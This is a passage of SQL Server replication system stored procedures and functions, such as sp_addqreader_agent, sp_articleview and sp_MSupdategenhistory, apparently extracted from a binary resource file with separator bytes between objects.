                 values (@pubid, @artid, @schemaversion, @schemaguid, @schematype, @schematext, @schemasubtype) 
    end
    else
    begin
        update dbo.sysmergeschemachange with (HOLDLOCK TABLOCKX)
        	set schematext = @schematext 
        	where pubid=@pubid and artid=@artid and 
                      schemaversion=@schemaversion and schemaguid = @schemaguid and 
                      schematype = @schematype
    end
    if @@error <> 0     
    begin
        rollback transaction tran_sp_MSinsertschemachange
	    commit transaction
        RAISERROR(21305 , 16, -1)
        return (1)
    end
    
    /* update the schema version and schemaguid in dbo.sysmergesubscriptions - The following servername is used as a publishing server name */      
    if @update_schemaversion = 1
    begin
        select @subid = subid from dbo.sysmergesubscriptions 
            where UPPER(subscriber_server) collate database_default = UPPER(publishingservername()) collate database_default
               and db_name = DB_NAME() and pubid = @pubid

        update dbo.sysmergesubscriptions set schemaversion = @schemaversion, schemaguid = @schemaguid
            where subid = @subid and (schemaversion<@schemaversion or schemaversion is NULL)
        if @@error <> 0     
            begin
            rollback transaction tran_sp_MSinsertschemachange
    	    commit transaction
            RAISERROR(21305 , 16, -1)
            return (1)
        end
    end    
    commit transaction
    return (0)      
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!WL`
<XN&7)0NJ F8CREATE PROCEDURE sys.sp_addqreader_agent
(
	@job_login 		nvarchar(257) = NULL,
	@job_password 	sysname = NULL,
	@job_name		sysname = NULL,
	@frompublisher  bit = 0
)
AS
BEGIN
	SET NOCOUNT ON
	DECLARE @retcode			int,
			@qreader_exists 	bit

	if (@frompublisher = 0)
	begin
	    -- Security Check: require sysadmin/dbo of dist 
		IF IS_SRVROLEMEMBER('sysadmin') != 1
		BEGIN
			RAISERROR(21089,16,-1) 
			RETURN 1
		END

		-- database must be distribution db
		IF sys.fn_MSrepl_isdistdb(DB_NAME()) <> 1
		BEGIN
			RAISERROR (21482, 16, -1, 'sp_addqreader_agent', 'distribution')
			RETURN (1)
		END
	end
	else
	begin
		-- Security Check: require sysadmin of publisher 
		IF IS_SRVROLEMEMBER('sysadmin') != 1
		BEGIN
			RAISERROR(21089,16,-1) 
			RETURN 1
		END

		-- database must be publishing db
		IF sys.fn_MSrepl_istranpublished(DB_NAME(), 0) <> 1
		BEGIN
			RAISERROR (14013, 16, -1)
			RETURN (1)
		END
	end

	--
	-- if executed from publisher
	--
	if (@frompublisher = 1)
	begin
		declare @loc_publisher sysname
				,@loc_distribdb sysname
				,@rpcsrvname sysname
				,@rpc nvarchar(1000)
		--
		-- get the distributor rpc info
		--
		select @loc_publisher = CONVERT(sysname, SERVERPROPERTY('ServerName'))
		EXEC @retcode = sys.sp_MSrepl_getdistributorinfo @publisher = @loc_publisher,
												@rpcsrvname = @rpcsrvname OUTPUT,
												@distribdb = @loc_distribdb OUTPUT

		IF @@error <> 0 OR @retcode <> 0 or (@rpcsrvname IS NULL) or (@loc_distribdb IS NULL)
		BEGIN
			RAISERROR (14080, 16, -1, @loc_publisher)
			RETURN (1)
		END
		--
		-- execute the RPC
		--
		select @rpc = quotename(@rpcsrvname) + N'.' + quotename(@loc_distribdb) + N'.dbo.sp_addqreader_agent'
		exec @retcode = @rpc @job_login
							,@job_password
							,@job_name
							,0
		if (@@error != 0)
    		select @retcode = 1
		--
		-- return
		--
		return @retcode
	end

    --
    -- If we are here - this SP is being executed on distributor
    --

	-- if we do not require yukon security then check paramters.
	IF sys.fn_yukonsecuritymodelrequired(NULL) = 0
	BEGIN
		IF @job_login IS NULL
		BEGIN
			IF @job_password IS NOT NULL
			BEGIN
				-- Parameter '@job_login' can be set to 'NULL' only when '@job_password' is set to 'NULL'.
				RAISERROR(21678, 16, -1, '@job_login', 'NULL', '@job_password', 'NULL')
				RETURN 1
			END
		END
		ELSE
		BEGIN
			IF @job_password IS NULL
			BEGIN
				-- Parameter '@job_password' can be set to 'NULL' only when '@job_login' is set to 'NULL'.
				RAISERROR(21678, 16, -1, '@job_password', 'NULL', '@job_login', 'NULL')
				RETURN 1
			END

			IF sys.fn_replisvalidwindowsloginformat(@job_login) != 1
			BEGIN
				-- '@job_login' must be a valid Windows Login in the form : 'MACHINE\Login' or 'DOMAIN\Login'. Please see the documentation for 'sp_addqreader_agent'.
				RAISERROR(21797, 16, -1, '@job_login', 'sp_addqreader_agent')
				RETURN 1
			END
		END
	END
	-- if yukon sec required then a valid windows login/password is required
	ELSE
	BEGIN
		IF @job_login IS NULL
			OR @job_password IS NULL
		BEGIN
			-- Only members of the sysadmin fixed server role can perform this operation without specifying @job_login or @job_password.
			RAISERROR(21832, 16, -1, '@job_login or @job_password')
			RETURN 1
		END

		IF sys.fn_replisvalidwindowsloginformat(@job_login) != 1
		BEGIN
			-- '@job_login' must be a valid Windows Login in the form : 'MACHINE\Login' or 'DOMAIN\Login'. Please see the documentation for 'sp_addqreader_agent'.
			RAISERROR(21797, 16, -1, '@job_login', 'sp_addqreader_agent')
			RETURN 1
		END
	END

	IF @job_name IS NULL
	BEGIN
		EXECUTE @retcode = sys.sp_MSreplagentjobexists @exists = @qreader_exists output,
													@type = 4
		IF @@ERROR <> 0 or @retcode <> 0
			RETURN 1

		IF @qreader_exists = 1
		BEGIN
			-- "The %s already exists. Use '%' to update any settings/properties."
			RAISERROR(21831, 16, -1, 'qreader agent', 'sp_changeqreader_agent')
			RETURN 1
		END
	END

	BEGIN TRANSACTION tr_addqreader_agent
	SAVE TRANSACTION tr_addqreader_agent
	
	EXECUTE @retcode = sys.sp_MSadd_qreader_agent @job_login = @job_login,
													@job_password = @job_password,
													@name = @job_name,
													@internal = N'YUKON'
													
	IF @@ERROR <> 0 or @retcode <> 0
		GOTO UNDO

	-- If we didn't need to create the job but 
	-- we were given the job_login and job_password
	-- then we will attempt to change them or add
	-- NOTE:
	-- We do this at the very end because the actual
	-- agent must be added prior to setting the login
	-- and passwords...
	IF @job_name IS NOT NULL
	BEGIN
		IF @job_login IS NOT NULL
		BEGIN
			EXECUTE @retcode = sys.sp_changeqreader_agent @job_login = @job_login,
															@job_password = @job_password,
															@frompublisher = @frompublisher
			IF @@ERROR <> 0 or @retcode <> 0
				GOTO UNDO
		END
	END

	CO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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<<DO90@ 8create procedure sys.sp_startmergepullsubscription_agent
(
    @publisher      sysname,
    @publisher_db   sysname,
    @publication    sysname
)
as
begin
    set nocount on
    declare @retcode int
            ,@start tinyint

    set @retcode = 0
    set @start = 0

    -- Security check
    exec @retcode = sys.sp_MSreplcheck_subscribe
    if @@error <> 0 or @retcode <> 0
        return 1

    exec @retcode = sys.sp_MSmergepullsubscriptionagentjobcontrol
        @publisher = @publisher,
        @publisher_db = @publisher_db,
        @publication = @publication,
        @action = @start
    return @retcode 
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<ccO/{S0@ C8create procedure sys.sp_get_job_status_mergesubscription_agent
(
    @publisher      sysname = NULL,
    @publisher_db   sysname = NULL,
    @publication    sysname = NULL,
	@agent_name nvarchar(100) = NULL   
)
as
begin	
	set nocount on
	declare @retcode  int
	declare @isdistdb bit	
	declare @runstatus int  
	
	select @isdistdb = sys.fn_MSrepl_isdistdb(DB_NAME())

	--
    -- security check
    --
	if (@isdistdb = 1)
	begin
		if not (is_member(N'db_owner') = 1 or isnull(is_member(N'replmonitor'),0) = 1)
		begin
			raiserror(14260, 16, -1)
			return (1)
		end
	end
	else
	begin
		if not (is_member(N'db_owner') = 1)
		begin
			raiserror(14260, 16, -1)
			return (1)
		end
	end


	
	    
    if @isdistdb = 1 and @agent_name is null
    begin
		raiserror(14043, 16, -1, '@agent_name', 'sp_get_job_status_mergesubscription_agent')
		return 1
	end
	else if @isdistdb = 0 and (@publisher is null or @publisher_db is null or @publication is null)
    begin
		-- subscriber-side monitoring
		if @publisher is null
			raiserror(14043, 16, -1, '@publisher', 'sp_get_job_status_mergesubscription_agent')
		if @publisher_db is null
			raiserror(14043, 16, -1, '@publisher_db', 'sp_get_job_status_mergesubscription_agent')
		if @publication is null
			raiserror(14043, 16, -1, '@publication', 'sp_get_job_status_mergesubscription_agent')
		return 1
	end	

	if(@isdistdb = 1)
	begin
		exec @retcode = sp_get_job_status_mergepushsubscription_agent @agent_name,@runstatus=@runstatus output 
	end	
	else
	begin
		exec @retcode = sp_get_job_status_mergepullsubscription_agent 
					   @publisher=@publisher,
					   @publisher_db=@publisher_db,
					   @publication=@publication,
					   @runstatus=@runstatus output 
	end

	select @runstatus

	return @retcode
end
0v 8create procedure sys.sp_MSget_effective_pub_compat_level (
    @pubid uniqueidentifier,
    @publication_compatibility_level int output,
    @feature_name nvarchar(4000) output,
    @buildnumber nvarchar(128)= null output
) AS
    declare @retcode int
    declare @requires_90 bit
    declare @requires_80 bit
    declare @sync_mode int
    declare @buildnumber80 int
    declare @buildnumber90 int

    set @buildnumber80= 0
    set @buildnumber90= 0
    select @requires_80 = 0
    select @requires_90 = 0
    select @feature_name = N''

    if exists (select * from dbo.sysmergearticles where pubid = @pubid and (upload_options = 1 or upload_options = 2))
    begin
        select @requires_90 = 1
        select @feature_name = N' ' + formatmessage(22563) + N' ' --' contains one or more articles that do not upload '
        goto DONE
    end

    if exists (select * from dbo.sysmergepublications where pubid = @pubid and replicate_ddl <> 0)
    begin
        select @requires_90 = 1
        select @feature_name = N' ' + formatmessage(22564) + N' ' --' uses ddl replication ' 
        goto DONE
    end
    
    if exists (select * from dbo.sysmergepublications where pubid = @pubid and retention_period_unit <> 0)
    begin
        select @requires_90 = 1
        select @feature_name = N' ' + formatmessage(22565) + N' ' --' uses other than day as unit of retention period '
        goto DONE
    end

    if exists (select * from dbo.sysmergepartitioninfo where pubid=@pubid and 
                (logical_record_level_conflict_detection=1 or logical_record_level_conflict_resolution=1))
        or exists (select * from dbo.sysmergesubsetfilters where pubid = @pubid
                and filter_type & 2 = 2)
    begin
        select @requires_90 = 1
        select @feature_name = N' ' + formatmessage(22566) + N' ' --' uses logical records '
        goto DONE
    end

    if exists (select * from dbo.sysmergepartitioninfo where pubid=@pubid and partition_options>1)
    begin
        select @requires_90 = 1
        select @feature_name = N' ' + formatmessage(22567) + N' ' --' contains one or more well partitioned articles '
        goto DONE
    end

    if exists (select * from dbo.sysmergearticles where pubid = @pubid and compensate_for_errors=0)
    begin
        select @requires_80 = 1
        if @requires_90 = 0 and @buildnumber80 < 858
        begin
            set @buildnumber80= 858
            set @buildnumber= N'8.00.0858'
        end
        select @feature_name = N' ' + formatmessage(22568) + N' ' --' contains one or more articles which will not compensate for errors '
        goto DONE
    end

    if exists (select * from dbo.sysmergeschemaarticles where pubid = @pubid)
    begin
        select @requires_80 = 1
        select @feature_name = N' ' + formatmessage(22569) + N' ' --' contains one or more schema only articles '
        goto DONE
    end

    if exists (select * from dbo.sysmergearticles where pubid = @pubid and identity_support=1)
    begin
        select @requires_80 = 1
        select @feature_name = N' ' + formatmessage(22570) + N' ' --' contains one or more articles that use automatic identity range management '
        goto DONE
    end

    select @sync_mode = sync_mode from dbo.sysmergepublications where pubid = @pubid

    if @sync_mode=0 and 
        exists (select c.name from sys.columns c, dbo.sysmergearticles a 
                where a.pubid = @pubid and c.object_id = a.sync_objid and
                      (c.system_type_id = type_id('bigint') or c.system_type_id = type_id('sql_variant')))
    begin
        select @requires_80 = 1
        select @feature_name = N' ' + formatmessage(22571) + N' ' --' contains one or more articles that use datatypes new in SQL server 2000 '
        goto DONE
    end
    
    if exists (select c.name from sys.columns c, dbo.sysmergearticles a 
                where a.pubid = @pubid and c.object_id = a.sync_objid and
                      c.system_type_id = type_id('timestamp'))
    begin
        select @requires_80 = 1
        select @feature_name = N' ' + formatmessage(22572) + N' ' --' contains one or more articles with a timestamp column '
        goto DONE
    end

    -- TODO: need to add schema option checking. Skipping for now since it is too complicated.
    
    if exists (select * from dbo.sysmergepublications where pubid=@pubid and snapshot_in_defaultfolder = 0 and compress_snapshot = 1)
    begin
        select @requires_80 = 1
        select @feature_name = N' ' + formatmessage(22573) + N' ' --' uses snapshot compression with snapshot_in_defaultfolder set to false '
        goto DONE
    end

    -- the following implies that we have one or more articles that use vertical partitioning
    if exists (select c.name from sys.columns c, dbo.sysmergearticles a where a.pubid = @pubid and c.object_id = a.objid and 
                c.is_computed<>1 and c.system_type_id<> type_id('timestamp') and 
                c.name not in (select c.name from sys.columns c, dbo.sysmergearticles a 
                              where a.pubid = @pubid and c.object_id=a.sync_objid))
    begin
        select @requires_80 = 1
        select @feature_name = N' ' + formatmessage(22574) + N' ' --' contains one or more articles that use vertical partitioning '
        goto DONE
    end

    -- TODO: how do we take care of reinit. If we have to use reinit the pub compat level has to be 30
    

DONE:
    if @requires_90 = 1
        select @publication_compatibility_level = 90
    else if @requires_80 = 1
        select @publication_compatibility_level = 40
    else 
        select @publication_compatibility_level = 30
    
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<;	cO*E]0; c	8
--
-- Name:    
--          fn_IHpublished_columns
--          
-- Description: 
--          Use table id and publisher id to generate a binary (128) mask
--			that identifies the column ordinals of the published table
--			that are to be published by an Oracle publisher.  This will
--			include the first 995 columns of hte table with types that
--			are publishable.
--  
-- Security: 
--          Internal
--
-- Returns:
--          Bit mask
--      
-- Owner:   
--          <current owner> 

create function sys.fn_IHpublished_columns
(
	@tableid		int,
	@publisherid	int
)
returns binary(128)
as
begin
	declare @bit tinyint
	declare @word tinyint
	declare @cnt int
	declare @columns binary(128)
	declare @mask binary(2)
	declare @mval int
	declare @newword binary(2)
	declare @oldword binary(2)
	declare @columnid int
	declare @columncnt int

	SELECT @columns = 0
	SELECT @columncnt = 0

	declare hCartcolumn CURSOR LOCAL FAST_FORWARD FOR
	SELECT	column_ordinal
	FROM	IHpublishercolumns 
	WHERE	publisher_id	= @publisherid
	  AND	table_id		= @tableid
	ORDER BY column_ordinal

	OPEN hCartcolumn
	FETCH hCartcolumn into @columnid

	WHILE (@@fetch_status <> -1) AND (@columncnt < 995)
	BEGIN
		SELECT @columncnt = @columncnt + 1
		
		-- Obtain the byte offset and the bit offset, then set the
		-- mask column for the bit we want to turn on.
		SELECT @word = CONVERT(tinyint, 64 - FLOOR((@columnid-1)/16))
		SELECT @bit = (@columnid-1) % 16
		SELECT @mval = POWER(2, @bit)
		select @mask = convert(binary(2), substring(convert(nchar(2), convert(binary(4), @mval)), 2, 1))

		-- Get the byte we're interested in and save it in a
		-- a temporary local variable.  If it's NULL, set it
		-- to 0.  Then apply the bitwise operator OR to set the
		-- bit in the old byte and save it in another temporary
		-- local variable @newword.
		SELECT @oldword = CONVERT( binary(2), SUBSTRING( CONVERT( nvarchar(64),@columns), @word, 1) )

		IF @oldword IS NULL
			SELECT @oldword = 0x0000

		SELECT @newword = CONVERT(binary(2), convert(smallint, @oldword) | @mask)
		SELECT @columns = CONVERT(binary(128), STUFF(convert(nchar(64),@columns), @word, 1, convert(nchar(1), @newword)))
	
		-- Fetch the next column
		FETCH hCartcolumn INTO @columnid
	END --  end of while block

	return @columns
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`Ff<w.e
0$ C8CREATE PROCEDURE sys.sp_MSget_subscription_guid 
(
    @agent_id int 
)
as
begin
	set nocount on

	-- You need to make change to sp_MShelp_distribution_agentid when changing
	-- this.	
	-- Get subscription_guid
	select a1.subscription_guid
	from MSdistribution_agents a1
	where
	-- for non anonymous agents
	((a1.virtual_agent_id is null and a1.id = @agent_id) or
	(   -- for anonymous agents
		a1.id = (select virtual_agent_id from MSdistribution_agents a2 where
			a2.id = @agent_id)) -- virtual account
	) 
end            
0=@ 	8CREATE PROCEDURE sys.sp_articleview
(
    @publication                sysname,                /* Publication name */
    @article                    sysname,                /* Article name */
    @view_name                    nvarchar (386) = NULL,    /* View name */
    @filter_clause                ntext = NULL,            /* Article's filter clause */
    @change_active                int = 0,
    @force_invalidate_snapshot    bit = 0,                /* Force invalidate existing snapshot */
    @force_reinit_subscription    bit = 0,                /* Force reinit subscription */
    @publisher                    sysname = NULL,
    @refreshsynctranprocs         bit = 1,    -- 1 = regenerate synctran procedures inside this SP for filter change
    @internal                     bit = 0
)
AS
BEGIN
    set nocount on
    DECLARE @cmd            nvarchar(4000)
                ,@retcode        int
                ,@publisher_type    sysname

    if (@publisher is NULL)
    begin
        EXEC @retcode = sys.sp_MSrepl_articleview
                    @publication,
                    @article,
                    @view_name,
                    @filter_clause,
                    @change_active,
                    @force_invalidate_snapshot,
                    @force_reinit_subscription,
                    @refreshsynctranprocs,
                    @internal
    end
    else
    begin
        -- Heterogeneous articles are handled directly by sp_IHarticleview
        EXEC @retcode = sys.sp_MSrepl_getpublisherinfo   @publisher        = @publisher,
                                                                            @publisher_type    = @publisher_type OUTPUT,
                                                                            @rpcheader        = @cmd OUTPUT
        IF @retcode <> 0
            RETURN (@retcode)
            
        SET @publisher = UPPER(@publisher)
        
        set @cmd = @cmd + N'dbo.sp_IHarticleview '
        EXEC @retcode = @cmd
                    @publication,
                    @article,
                    @view_name,
                    @filter_clause,
                    @change_active,
                    @force_invalidate_snapshot,
                    @force_reinit_subscription,
                    @publisher,
                    @publisher_type
    end    

    RETURN (@retcode)
END
0賴@ 8create procedure sys.sp_MSget_DDL_after_regular_snapshot (
    @publication sysname, 
    @ddl_present bit output
)
as
    declare @retcode int
    declare @pubid uniqueidentifier
    declare @schemaversion_of_snapshot_trailer int

    exec @retcode = sys.sp_MSreplcheck_publish
    if @retcode <> 0 or @@error <> 0
        return 1

    select @pubid = pubid from dbo.sysmergepublications  
            where name=@publication and upper(publisher)=upper(publishingservername()) and publisher_db=db_name()
    if @pubid is NULL 
    begin
        RAISERROR (20026, 16, -1, @publication)
        return 1
    end

    select @schemaversion_of_snapshot_trailer = schemaversion from dbo.sysmergeschemachange 
        where pubid = @pubid and schematype = 52
    if @schemaversion_of_snapshot_trailer is NULL
    begin
        raiserror(20652, 16, -1, @publication)
        return 1
    end

    if exists (select * from dbo.sysmergeschemachange 
                where pubid = @pubid and schemaversion > @schemaversion_of_snapshot_trailer and
                      schematype in (11, 13, 300))
        select @ddl_present = 1
    else
        select @ddl_present = 0

0Ԋ@ 8
create procedure sys.sp_MSupdategenhistory
    (@guidsrc uniqueidentifier, 
     @pubid uniqueidentifier, 
     @gen bigint, 
     @art_nick int = NULL,
     @is_ssce_empty_sync int = 0,
     @publication_number smallint = NULL,
     @partition_id int = NULL)
as
        
    /*
    ** Check to see if current publication has permission
    */
    declare @retcode int
    , @changecount int

    if ({fn ISPALUSER(@pubid)} <> 1)
    begin
        if (@pubid is NULL)
        begin
                RAISERROR (21723, 16, -1, 'sp_MSupdategenhistory')
                return 1
        end
        else
        begin
                RAISERROR (14126, 11, -1)
                return 1
        end
    end
    
    if (@guidsrc is null)
    begin
        RAISERROR(14043, 16, -1, '@guidsrc', 'sp_MSupdategenhistory')
        return (1)
    end
        
    if @art_nick = 0 set @art_nick = NULL
    set @changecount = 0
    
    begin tran
    save tran sp_MSupdategenhistory
    
    exec @retcode = sys.sp_MSget_gen_approx_changecount @gen, @changecount OUTPUT
        if @retcode <> 0 or @@error <> 0
                goto FAILURE

    -- If changecount is zero and this is a upload from ssce then delete the generation.
    -- This prevents uploading of empty generations.
    if @changecount = 0 and @is_ssce_empty_sync = 1
    begin
        delete from dbo.MSmerge_genhistory where generation = @gen
        commit
        return (0)
    end
    
    if @partition_id is null
    begin
        exec @retcode = sys.sp_MSmap_generation_to_partitionids @gen, @art_nick
        if @retcode <> 0 or @@error <> 0
                goto FAILURE
    end
    else
    begin
        insert into dbo.MSmerge_generation_partition_mappings with (rowlock)
            (publication_number, partition_id, generation, changecount)
                values (@publication_number, @partition_id, @gen, @changecount)
        if @@error <> 0
                goto FAILURE
    end
                        
    update dbo.MSmerge_genhistory with (rowlock)      
        set genstatus = 2, 
            art_nick = case when isnull(@art_nick,0) <> 0 then @art_nick else art_nick end, 
            coldate= getdate(),
            changecount = @changecount
    where generation = @gen -- and guidsrc = @guidsrc 
    if @@rowcount = 0
    begin
        declare @replnick binary(6)
        declare @nickbin binary(8)

        exec sys.sp_MSgetreplnick @replnick = @replnick out
        if @@ERROR<>0 goto FAILURE

        -- Append guard byte
        set @nickbin= @replnick + 0xFF

        set identity_insert dbo.MSmerge_genhistory on

        insert into dbo.MSmerge_genhistory with (rowlock)
            (guidsrc, genstatus, generation, art_nick, nicknames, coldate) 
            values (@guidsrc, 2, @gen, @art_nick, @nickbin , getdate())

        if @@ERROR<>0 goto FAILURE
            
        set identity_insert dbo.MSmerge_genhistory off

    end

    commit

    return (0)
    
FAILURE:
    rollback tran sp_MSupdategenhistory
    commit tran
    RAISERROR(25021, 16, -1, @gen)
    return(1)
0፯ 8create function sys.fn_MSmapdownbm (@mapdownbm varbinary(128), @bm varbinary(128))
	returns varbinary(128)
as
begin
	exec master.dbo.xp_mapdown_bitmap @mapdownbm, @bm output
	return @bm
end
